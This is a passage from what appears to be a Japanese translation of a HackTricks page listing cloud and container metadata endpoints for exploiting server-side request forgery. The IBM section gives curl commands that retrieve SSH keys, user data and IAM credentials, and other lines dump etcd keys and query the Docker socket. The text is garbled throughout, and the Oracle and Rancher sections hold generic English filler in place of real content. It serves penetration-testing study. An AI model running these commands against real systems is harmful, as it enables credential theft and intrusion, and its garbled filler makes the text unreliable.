||
IBMでは、デフォルトではメタデータが有効になっていないため、IBM CloudのVM内にいてもアクセスできない場合があります。
|
||
{% endhint %}
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||
-H "Metadata-Flavor: ibm"\
|
||
-H "Accept: application/json"\
|
||
-d '{
|
||
"expires_in": 3600
|
||
}' | jq -r '(.access_token)'`
|
||
|
||
# Get instance details
|
||
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys info
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys fingerprints & user data
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
||
|
||
# Get placement groups
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
||
|
||
# Get IAM credentials
|
||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||
```
|
||
{% endcode %}
|
||
|
||
## Packetcloud <a href="#2af0" id="2af0"></a>
|
||
|
||
[`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)で利用可能なドキュメンテーションがあります。
|
||
|
||
## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>
|
||
|
||
(ヘッダーが必要かは不明)
|
||
```
|
||
http://169.254.169.254/openstack
|
||
```
|
||
## HP Helion <a href="#a8e0" id="a8e0"></a>
|
||
|
||
(ヘッダーは必要ですか?不明)
|
||
```
|
||
http://169.254.169.254/2009-04-04/meta-data/
|
||
```
|
||
## Oracle Cloud <a href="#a723" id="a723"></a>
|
||
|
||
Oracle Cloud is a cloud computing platform provided by Oracle Corporation. It offers a wide range of cloud services, including infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS). With its robust infrastructure and comprehensive set of tools, Oracle Cloud is a popular choice for businesses looking to leverage the power of the cloud.
|
||
|
||
## Server-Side Request Forgery (SSRF) in Cloud Environments
|
||
|
||
Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make requests from the server to other internal or external resources. In cloud environments, SSRF can be particularly dangerous as it can be used to access sensitive resources within the cloud infrastructure.
|
||
|
||
One common scenario where SSRF can occur in cloud environments is when an application running on a cloud server allows users to specify a URL for fetching data. If the application does not properly validate and sanitize user input, an attacker can craft a malicious URL that triggers an SSRF vulnerability.
|
||
|
||
In the context of cloud environments, SSRF can be used to access metadata endpoints or internal APIs that provide information about the cloud instance or other resources within the cloud environment. This information can be leveraged by an attacker to gain unauthorized access or perform other malicious activities.
|
||
|
||
## Exploiting SSRF in Cloud Environments
|
||
|
||
To exploit an SSRF vulnerability in a cloud environment, an attacker needs to identify a vulnerable application that allows user-controlled input for making requests. Once a vulnerable application is identified, the attacker can craft a malicious URL that points to a sensitive resource within the cloud environment.
|
||
|
||
For example, an attacker could craft a URL that points to the metadata endpoint of the cloud instance, which contains sensitive information such as access keys or credentials. By exploiting the SSRF vulnerability, the attacker can retrieve this information and use it to gain unauthorized access to other resources within the cloud environment.
|
||
|
||
## Mitigating SSRF in Cloud Environments
|
||
|
||
To mitigate SSRF vulnerabilities in cloud environments, it is important to implement proper input validation and sanitization techniques. This includes validating user input to ensure that it conforms to expected formats and does not contain any malicious content.
|
||
|
||
Additionally, cloud providers often offer security features that can help mitigate SSRF vulnerabilities. For example, some cloud platforms allow users to define network access controls to restrict outbound requests from cloud instances. By properly configuring these controls, organizations can limit the potential impact of SSRF vulnerabilities.
|
||
|
||
Regular security assessments and penetration testing can also help identify and mitigate SSRF vulnerabilities in cloud environments. By proactively testing the security of cloud applications and infrastructure, organizations can identify and address vulnerabilities before they can be exploited by attackers.
|
||
|
||
## Conclusion
|
||
|
||
Server-Side Request Forgery (SSRF) vulnerabilities can pose a significant risk in cloud environments, as they can be used to access sensitive resources within the cloud infrastructure. By understanding the nature of SSRF vulnerabilities and implementing proper security measures, organizations can better protect their cloud environments from potential attacks.
|
||
```
|
||
http://192.0.0.192/latest/
|
||
http://192.0.0.192/latest/user-data/
|
||
http://192.0.0.192/latest/meta-data/
|
||
http://192.0.0.192/latest/attributes/
|
||
```
|
||
## Alibaba <a href="#51bd" id="51bd"></a>
|
||
```
|
||
http://100.100.100.200/latest/meta-data/
|
||
http://100.100.100.200/latest/meta-data/instance-id
|
||
http://100.100.100.200/latest/meta-data/image-id
|
||
```
|
||
## Kubernetes ETCD <a href="#c80a" id="c80a"></a>
|
||
|
||
APIキーと内部IPおよびポートを含むことがあります。
|
||
```
|
||
curl -L http://127.0.0.1:2379/version
|
||
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
||
```
|
||
## Docker <a href="#ac0b" id="ac0b"></a>
|
||
```
|
||
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
|
||
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||
```
|
||
## Rancher <a href="#8cb7" id="8cb7"></a>
|
||
|
||
Rancher is a popular open-source container management platform that allows users to easily deploy and manage containers in a Kubernetes cluster. It provides a user-friendly interface and a wide range of features for managing containerized applications.
|
||
|
||
Rancher supports various cloud providers, including AWS, GCP, and Azure, allowing users to deploy their containers on different cloud platforms. It also provides integration with other tools and services, such as monitoring and logging solutions, to enhance the management and monitoring capabilities of containerized applications.
|
||
|
||
With its intuitive interface and powerful features, Rancher simplifies the process of deploying and managing containers, making it a popular choice among developers and DevOps teams. Whether you are a beginner or an experienced user, Rancher offers a user-friendly experience and a robust set of tools for managing containerized applications.
|
||
```
|
||
curl http://rancher-metadata/<version>/<path>
|
||
```
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|